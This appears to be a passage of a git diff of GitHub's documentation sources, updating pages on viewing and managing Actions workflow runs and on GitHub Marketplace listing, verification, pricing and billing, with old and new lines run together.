### Steps {% data variables.product.prodname_dotcom %} takes to cancel a workflow run 4 content/actions/managing-workflow-runs/downloading-workflow-artifacts.md @@ -20,4 +20,8 @@ versions: {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under **Artifacts**, click the artifact you want to download. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 1 content/actions/managing-workflow-runs/index.md @@ -18,6 +18,7 @@ versions: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% link_in_list /using-the-visualization-graph %}{% endif %} {% link_in_list /viewing-workflow-run-history %} {% link_in_list /using-workflow-run-logs %} {% link_in_list /manually-running-a-workflow %} 3 content/actions/managing-workflow-runs/re-running-a-workflow.md @@ -16,5 +16,4 @@ versions: {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.  1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.{% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% else %}{% endif %} 4 content/actions/managing-workflow-runs/removing-workflow-artifacts.md @@ -27,7 +27,11 @@ versions: {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under **Artifacts**, click {% octicon "trashcan" aria-label="The trashcan icon" %} next to the artifact you want to remove. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} ### Setting the retention period for an artifact 23 content/actions/managing-workflow-runs/using-the-visualization-graph.md @@ -0,0 +1,23 @@ --- title: Using the visualization graph intro: Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug workflows. product: '{% data reusables.gated-features.actions %}' versions: free-pro-team: '*' enterprise-server: '>=3.1' --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.visualization-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. The graph displays each job in the workflow. An icon to the left of the job name indicates the status of the job. Lines between jobs indicate dependencies.  2. Click on a job to view the job log.  18 content/actions/managing-workflow-runs/using-workflow-run-logs.md @@ -45,7 +45,11 @@ You can search the build logs for a particular step. When you search logs, only {% data reusables.repositories.navigate-to-job-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper-right corner of the log output, in the **Search logs** search box, type a search query. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% else %} 1. To expand each step you want to include in your search, click the step.  @@ -63,8 +67,12 @@ You can download the log files from your workflow run. You can also download a w {% data reusables.repositories.view-run-superlinter %} {% data reusables.repositories.navigate-to-job-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Download log archive**. 1. In the upper right corner, click {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% octicon "gear" aria-label="The gear icon" %}{% else %}{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}{% endif %} and select **Download log archive**. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% else %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Download log archive**.  @@ -80,9 +88,17 @@ You can delete the log files from your workflow run. {% data reusables.repositor {% data reusables.repositories.view-run-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 2. To delete the log files, click the **Delete all logs** button and review the confirmation prompt. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} After deleting logs, the **Delete all logs** button is removed to indicate that no log files remain in the workflow run. {% else %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. 2 content/actions/managing-workflow-runs/viewing-job-execution-time.md @@ -15,7 +15,7 @@ Billable job execution minutes are only shown for jobs run on private repositori {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under the job summary, you can view the job's execution time. To view the billable job execution time, click **Run and billable time details**. 1. Under the job summary, you can view the job's execution time. To view details about the billable job execution time, click the time under **Billable time**.  {% note %} 5 content/actions/quickstart.md @@ -60,8 +60,13 @@ Committing the workflow file in your repository triggers the `push` event and ru {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow-superlinter %} {% data reusables.repositories.view-run-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. Under **Jobs** or in the visualization graph, click the **Lint code base** job.  {% else %} 1. In the left sidebar, click the **Lint code base** job.  {% endif %} {% data reusables.repositories.view-failed-job-results-superlinter %} ### More starter workflows 49 content/developers/github-marketplace/about-github-marketplace.md @@ -1,6 +1,6 @@ --- title: About GitHub Marketplace intro: 'Learn the basics to prepare your app for review before joining {% data variables.product.prodname_marketplace %}.' intro: 'Learn about {% data variables.product.prodname_marketplace %} where you can share your apps and actions publicly with all {% data variables.product.product_name %} users.' redirect_from: - /apps/marketplace/getting-started/ - /marketplace/getting-started @@ -14,52 +14,41 @@ versions: {% data reusables.actions.actions-not-verified %} To learn about publishing {% data variables.product.prodname_actions %} in the {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." To learn about publishing {% data variables.product.prodname_actions %} in {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." ### Apps You can list verified and unverified apps in {% data variables.product.prodname_marketplace %}. Unverified apps do not go through the security, testing, and verification cycle {% data variables.product.prodname_dotcom %} requires for verified apps. Anyone can share their apps with other users on {% data variables.product.prodname_marketplace %} but only listings that are verified by {% data variables.product.company_short %} can include paid plans. For more information, see "[About verified creators](/developers/github-marketplace/about-verified-creators)." Verified apps have a green badge in {% data variables.product.prodname_marketplace %}. Unverified apps have a grey badge next to their listing and are only available as free apps. If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_app %}s, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" or "[Building {% data variables.product.prodname_oauth_app %}s](/developers/apps/building-oauth-apps)."  If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_app %}s, see "[Building apps](/apps/)." {% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_app %}s in {% data variables.product.prodname_marketplace %}. See "[Differences between GitHub and OAuth apps](/apps/differences-between-apps/)" for more details. To learn more about switching from OAuth to {% data variables.product.prodname_github_apps %}, see [Migrating OAuth Apps to {% data variables.product.prodname_github_app %}s](/apps/migrating-oauth-apps-to-github-apps/). {% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_app %}s in {% data variables.product.prodname_marketplace %}. For more information, see "[Differences between {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_app %}s](/apps/differences-between-apps/)" and "[Migrating {% data variables.product.prodname_oauth_app %}s to {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/)." If you have questions about {% data variables.product.prodname_marketplace %}, please contact {% data variables.contact.contact_support %} directly. #### Unverified Apps Unverified apps do not need to meet the "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)" or go through the "[Security review process](/marketplace/getting-started/security-review-process/)". {% data reusables.marketplace.unverified-apps %} Having a published paid plan will prevent you from being able to submit an unverified app. You must remove paid plans or keep them in draft mode before publishing an unverified app. To list your unverified app in {% data variables.product.prodname_marketplace %}, you only need to create a "[Listing on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/)" and submit it as an unverified listing. {% data reusables.marketplace.launch-with-free %} ### Publishing an app to {% data variables.product.prodname_marketplace %} #### Verified Apps When you have finished creating your app, you can share it with other users by publishing it to {% data variables.product.prodname_marketplace %}. In summary, the process is: If you've already built an app and you're interested in submitting a verified listing in {% data variables.product.prodname_marketplace %}, start here: 1. Review your app carefully to ensure that it will behave as expected in other repositories and that it follows best practice guidelines. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)" and "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app#best-practice-for-customer-experience)." 1. [Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)<br/>Learn about requirements, guidelines, and the app submission process. 1. Add webhook events to the app to track user billing requests. For more information about the {% data variables.product.prodname_marketplace %} API, webhook events, and billing requests, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." 1. [Integrating with the {% data variables.product.prodname_marketplace %} API](/marketplace/integrating-with-the-github-marketplace-api/)<br/>Before you can list your app on {% data variables.product.prodname_marketplace %}, you'll need to integrate billing flows using the {% data variables.product.prodname_marketplace %} API and webhook events. 1. Create a draft {% data variables.product.prodname_marketplace %} listing. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)." 1. [Listing on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/) <br/>Create a draft {% data variables.product.prodname_marketplace %} listing, configure webhook settings, and set up pricing plans. 1. Add a pricing plan. For more information, see "[Setting pricing plans for your listing](/developers/github-marketplace/setting-pricing-plans-for-your-listing)." 1. [Selling your app](/marketplace/selling-your-app/)<br/>Learn about pricing plans, billing cycles, and how to receive payment from {% data variables.product.prodname_dotcom %} for your app. 1. Check whether your app meets the requirements for listing on {% data variables.product.prodname_marketplace %} as a free or a paid app. For more information, see "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." 1. [{% data variables.product.prodname_marketplace %} Insights](/marketplace/github-marketplace-insights/)<br/>See how your app is performing in {% data variables.product.prodname_marketplace %}. You can use metrics collected by {% data variables.product.prodname_dotcom %} to guide your marketing campaign and be successful in {% data variables.product.prodname_marketplace %}. 1. Read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." 1. [{% data variables.product.prodname_marketplace %} transactions](/marketplace/github-marketplace-transactions/)<br/>Download and view transaction data for your {% data variables.product.prodname_marketplace %} listing. 1. Submit your listing for publication in {% data variables.product.prodname_marketplace %}, requesting verification if you want to sell the app. For more information, see "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication)." ### Reviewing your app An onboarding expert will contact you with any questions or further steps. For example, if you have added a paid plan, you will need to complete the verification process and complete financial onboarding. As soon as your listing is approved the app is published to {% data variables.product.prodname_marketplace %}. We want to make sure that the apps offered on {% data variables.product.prodname_marketplace %} are safe, secure, and well tested. The {% data variables.product.prodname_marketplace %} onboarding specialists will review your app to ensure that it meets all requirements. Follow the guidelines in these articles before submitting your app: ### Seeing how your app is performing You can access metrics and transactions for your listing. For more information, see: * [Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/) * [Security review process](/marketplace/getting-started/security-review-process/) - "[Viewing metrics for your listing](/developers/github-marketplace/viewing-metrics-for-your-listing)" - "[Viewing transactions for your listing](/developers/github-marketplace/viewing-transactions-for-your-listing)" 43 content/developers/github-marketplace/about-verified-creators.md @@ -0,0 +1,43 @@ --- title: About verified creators intro: 'Each organization that wants to sell apps on {% data variables.product.prodname_marketplace %} must follow a verification process. Their identity is checked and their billing process reviewed.' versions: free-pro-team: '*' --- ### About verified creators A verified creator is an organization that {% data variables.product.company_short %} has checked. Anyone can share their apps with other users on {% data variables.product.prodname_marketplace %} but only organizations that are verified by {% data variables.product.company_short %} can sell apps. For more information about organizations, see "[About organizations](/github/setting-up-and-managing-organizations-and-teams/about-organizations)." The verification process aims to protect users. For example, it verifies the seller's identity, checks that their {% data variables.product.product_name %} organization is set up securely, and that they can be contacted for support. After passing the verification checks, any apps that the organization lists on {% data variables.product.prodname_marketplace %} are shown with a verified creator badge {% octicon "verified" aria-label="Verified creator badge" %}. The organization can now add paid plans to any of their apps. Each app with a paid plan also goes through a financial onboarding process to check that it's set up to handle billing correctly.  In addition to the verified creator badge, you'll also see badges for unverified and verified apps. These apps were published using the old method for verifying individual apps.  For information on finding apps to use, see "[Searching {% data variables.product.prodname_marketplace %}](/github/searching-for-information-on-github/searching-github-marketplace)." ### About the verification process The first time you request verification for a listing of one of your apps, you will enter the verification process. An onboarding expert will guide you through the process. This includes checking: - Profile information - The basic profile information is populated accurately and appropriately. - Security - The organization has enabled two-factor authentication. - Verified domain - The organization has verified the domain of the site URL. - Purchase webhook event - The event is handled correctly by the app. When your organization is verified, all your apps are shown with a verified creator badge. You are now able to offer paid plans for any of your apps. For more information about the requirements for listing an app on {% data variables.product.prodname_marketplace %}, see "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)." {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." {% note %} **Note:** This verification process for apps replaces the previous process where individual apps were verified. The current process is similar to the verification process for actions. If you have apps that were verified under the old process, these will not be affected by the changes. The {% data variables.product.prodname_marketplace %} team will contact you with details of how to migrate to organization-based verification. {% endnote %} 12 content/developers/github-marketplace/billing-customers.md @@ -13,17 +13,17 @@ versions: ### Understanding the billing cycle Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)." Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[Webhook events for the {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/webhook-events-for-the-github-marketplace-api)." ### Providing billing services in your app's UI Customers must be able to perform the following actions from your app's website: - Customers must be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately. Customers should be able to perform the following actions from your app's website: - Customers should be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately. {% data reusables.marketplace.marketplace-billing-ui-requirements %} ### Billing services for upgrades, downgrades, and cancellations Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)." Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." You can use the `marketplace_purchase` webhook's `effective_date` key to determine when a plan change will occur and periodically synchronize the [List accounts for a plan](/rest/reference/apps#list-accounts-for-a-plan). @@ -33,7 +33,7 @@ When a customer upgrades their pricing plan or changes their billing cycle from {% data reusables.marketplace.marketplace-failed-purchase-event %} For information about building upgrade and downgrade workflows into your app, see "[Upgrading and downgrading plans](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/)." For information about building upgrade and downgrade workflows into your app, see "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)." #### Downgrades and cancellations @@ -45,4 +45,4 @@ When a customer cancels a plan, you must: {% data reusables.marketplace.cancellation-clarification %} - Enable them to upgrade the plan through GitHub if they would like to continue the plan at a later time. For information about building cancellation workflows into your app, see "[Cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/)." For information about building cancellation workflows into your app, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." 20 ...nt/developers/github-marketplace/customer-experience-best-practices-for-apps.md @@ -0,0 +1,20 @@ --- title: Customer experience best practices for apps intro: 'Guidelines for creating an app that will be easy to use and understand.' shortTitle: Customer experience best practice versions: free-pro-team: '*' --- If you follow these best practices it will help you to provide a good customer experience. ### Customer communication - Marketing materials for the app should accurately represent the app's behavior. - Apps should include links to user-facing documentation that describe how to set up and use the app. - Customers should be able to see what type of plan they have in the billing, profile, or account settings section of the app. - Customers should be able to install and use your app on both a personal account and an organization account. They should be able to view and manage the app on those accounts separately. ### Plan management {% data reusables.marketplace.marketplace-billing-ui-requirements %} 4 content/developers/github-marketplace/drafting-a-listing-for-your-app.md @@ -59,8 +59,8 @@ Once you've created a {% data variables.product.prodname_marketplace %} draft li ### Submitting your app Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, the {% data variables.product.prodname_marketplace %} onboarding team will contact you with additional information about the onboarding process. You can learn more about the onboarding and security review process in "[Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)." Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, an onboarding expert will contact you with additional information about the onboarding process. You can learn more about the onboarding and security review process in "[Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)." ### Removing a {% data variables.product.prodname_marketplace %} listing If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact [marketplace@github.com](mailto:marketplace@github.com) to remove your listing. If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact {% data variables.contact.contact_support %} to remove your listing. 2 content/developers/github-marketplace/handling-new-purchases-and-free-trials.md @@ -28,7 +28,7 @@ GitHub then sends the [`marketplace_purchase`](/webhooks/event-payloads/#marketp Read the `effective_date` and `marketplace_purchase` object from the `marketplace_purchase` webhook to determine which plan the customer purchased, when the billing cycle starts, and when the next billing cycle begins. If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/)." See "[Upgrading and downgrading plans](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/)" to find out how to transition a free trial to a paid plan when a free trial expires. If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." See "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)" to find out how to transition a free trial to a paid plan when a free trial expires. See "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" for an example of the `marketplace_purchase` event payload. 6 content/developers/github-marketplace/index.md @@ -11,8 +11,10 @@ versions: {% topic_link_in_list /creating-apps-for-github-marketplace %} {% link_in_list /about-github-marketplace %} {% link_in_list /about-verified-creators %} {% link_in_list /requirements-for-listing-an-app %} {% link_in_list /security-review-process-for-submitted-apps %} {% link_in_list /security-best-practices-for-apps %} {% link_in_list /customer-experience-best-practices-for-apps %} {% link_in_list /viewing-metrics-for-your-listing %} {% link_in_list /viewing-transactions-for-your-listing %} {% topic_link_in_list /using-the-github-marketplace-api-in-your-app %} @@ -27,7 +29,7 @@ versions: {% link_in_list /writing-a-listing-description-for-your-app %} {% link_in_list /setting-pricing-plans-for-your-listing %} {% link_in_list /configuring-a-webhook-to-notify-you-of-plan-changes %} {% link_in_list /submitting-your-listing-for-review %} {% link_in_list /submitting-your-listing-for-publication %} {% topic_link_in_list /selling-your-app-on-github-marketplace %} {% link_in_list /pricing-plans-for-github-marketplace-apps %} {% link_in_list /billing-customers %} 32 content/developers/github-marketplace/pricing-plans-for-github-marketplace-apps.md @@ -10,35 +10,45 @@ versions: {% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit, and GitHub lists the price in US dollars. Customers purchase your app using a payment method attached to their {% data variables.product.product_name %} account, without having to leave GitHub.com. You don't have to write code to perform billing transactions, but you will have to handle [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows) for purchase events. {% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit. Prices are set, displayed, and processed in US dollars. Paid plans are restricted to verified listings. Customers purchase your app using a payment method attached to their {% data variables.product.product_name %} account, without having to leave {% data variables.product.prodname_dotcom_the_website %}. You don't have to write code to perform billing transactions, but you will have to handle events from the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If the app you're listing on {% data variables.product.prodname_marketplace %} has multiple plan options, you can set up corresponding pricing plans. For example, if your app has two plan options, an open source plan and a pro plan, you can set up a free pricing plan for your open source plan and a flat pricing plan for your pro plan. Each {% data variables.product.prodname_marketplace %} listing must have an annual and a monthly price for every plan that's listed. For more information on how to create a pricing plan, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." {% note %} {% data reusables.marketplace.free-plan-note %} **Note:** If you're listing an app on {% data variables.product.prodname_marketplace %}, you can't list your app with a free pricing plan if you offer a paid service outside of {% data variables.product.prodname_marketplace %}. ### Types of pricing plans {% endnote %} #### Free pricing plans ### Types of pricing plans {% data reusables.marketplace.free-apps-encouraged %} Free plans are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. All apps need to handle events for new purchases and cancellations. Apps that only have free plans do not need to handle events for free trials, upgrades, and downgrades. For more information, see: "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to request verification for the app and go through financial onboarding. #### Paid pricing plans **Free pricing plans** are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. Unverified free apps do not need to implement any billing flows. Free apps that are verified by Github need to implement billing flows for new purchases and cancellations, but do not need to implement billing flows for free trials, upgrades, and downgrades. If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to resubmit the app for review. There are two types of paid pricing plan: **Flat rate pricing plans** charge a set fee on a monthly and yearly basis. - Flat rate pricing plans charge a set fee on a monthly and yearly basis. **Per-unit pricing plans** charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). - Per-unit pricing plans charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). **Marketplace free trials** provide 14-day free trials of OAuth or GitHub Apps to customers. When you [set up a Marketplace pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/), you can select the option to provide a free trial for flat-rate or per-unit pricing plans. You may also want to offer free trials. These provide free, 14-day trials of OAuth or GitHub Apps to customers. When you set up a Marketplace pricing plan, you can select the option to provide a free trial for flat-rate or per-unit pricing plans. ### Free trials Customers can start a free trial for any available paid plan on a Marketplace listing, but will not be able to create more than one free trial for a Marketplace product. Customers can start a free trial for any paid plan on a Marketplace listing that includes free trials. However, customers cannot create more than one free trial per marketplace product. Free trials have a fixed length of 14 days. Customers are notified 4 days before the end of their trial period (on day 11 of the free trial) that their plan will be upgraded. At the end of a free trial, customers will be auto-enrolled into the plan they are trialing if they do not cancel. See "[New purchases and free trials](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)" for details on how to handle free trials in your app. For more information, see: "[Handling new purchases and free trials](/developers/github-marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)." {% note %} 61 content/developers/github-marketplace/requirements-for-listing-an-app.md @@ -1,6 +1,6 @@ --- title: Requirements for listing an app intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before our {% data variables.product.prodname_marketplace %} onboarding specialists will approve the listing.' intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before the listing can be published.' redirect_from: - /apps/adding-integrations/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ - /apps/marketplace/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ @@ -12,49 +12,62 @@ versions: free-pro-team: '*' --- <!--UI-LINK: Displayed as a link on the https://github.com/marketplace/new page.--> The requirements for listing an app on {% data variables.product.prodname_marketplace %} vary according to whether you want to offer a free or a paid app. Before you submit your app for review, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." You'll accept the terms within your [draft listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) on {% data variables.product.product_name %}. Once you've submitted your app, one of the {% data variables.product.prodname_marketplace %} onboarding specialists will reach out to you with more information about the onboarding process, and review your app to ensure it meets these requirements: ### Requirements for all {% data variables.product.prodname_marketplace %} listings ### User experience All listings on {% data variables.product.prodname_marketplace %} should be for tools that provide value to the {% data variables.product.product_name %} community. When you submit your listing for publication, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." - {% data variables.product.prodname_github_app %}s should have a minimum of 100 installations. - {% data variables.product.prodname_oauth_app %}s should have a minimum of 200 users. #### User experience requirements for all apps All listings should meet the following requirements, regardless of whether they are for a free or paid app. - Listings must not actively persuade users away from {% data variables.product.product_name %}. - Listings must include valid contact information for the publisher. - Listings must have a relevant description of the application. - Listings must specify a pricing plan. - Apps must provide value to customers and integrate with the platform in some way beyond authentication. - Apps must be publicly available in {% data variables.product.prodname_marketplace %} and cannot be in beta or available by invite only. - Apps cannot actively persuade users away from {% data variables.product.product_name %}. - Marketing materials for the app must accurately represent the app's behavior. - Apps must include links to user-facing documentation that describe how to set up and use the app. - When a customer purchases an app and GitHub redirects them to the app's installation URL, the app must begin the OAuth flow immediately. For details, see "[Handling new purchases and free trials](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/#step-3-authorization)." - Apps must have webhook events set up to notify the publisher of any plan changes or cancellations using the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." - Customers must be able to install your app and select repositories on both a personal and organization account. They should be able to view and manage those accounts separately. For more information on providing a good customer experience, see "[Customer experience best practices for apps](/developers/github-marketplace/customer-experience-best-practices-for-apps)." ### Brand and listing #### Brand and listing requirements for all apps - Apps that use GitHub logos must follow the "[{% data variables.product.product_name %} Logos and Usage](https://github.com/logos)" guidelines. - Apps that use GitHub logos must follow the {% data variables.product.company_short %} guidelines. For more information, see "[{% data variables.product.company_short %} Logos and Usage](https://github.com/logos)." - Apps must have a logo, feature card, and screenshots images that meet the recommendations provided in "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." - Listings must include descriptions that are well written and free of grammatical errors. For guidance in writing your listing, see "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." ### Security To protect your customers, we recommend that you also follow security best practices. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)." ### Considerations for free apps Apps will go through a security review before being listed on {% data variables.product.prodname_marketplace %}. A successful review will meet the requirements and follow the security best practices listed in "[Security review process](/marketplace/getting-started/security-review-process/)." For information on the review process, contact [marketplace@github.com](mailto:marketplace@github.com). {% data reusables.marketplace.free-apps-encouraged %} ### Requirements for paid apps In addition to the requirements for all apps above, each app that you offer as 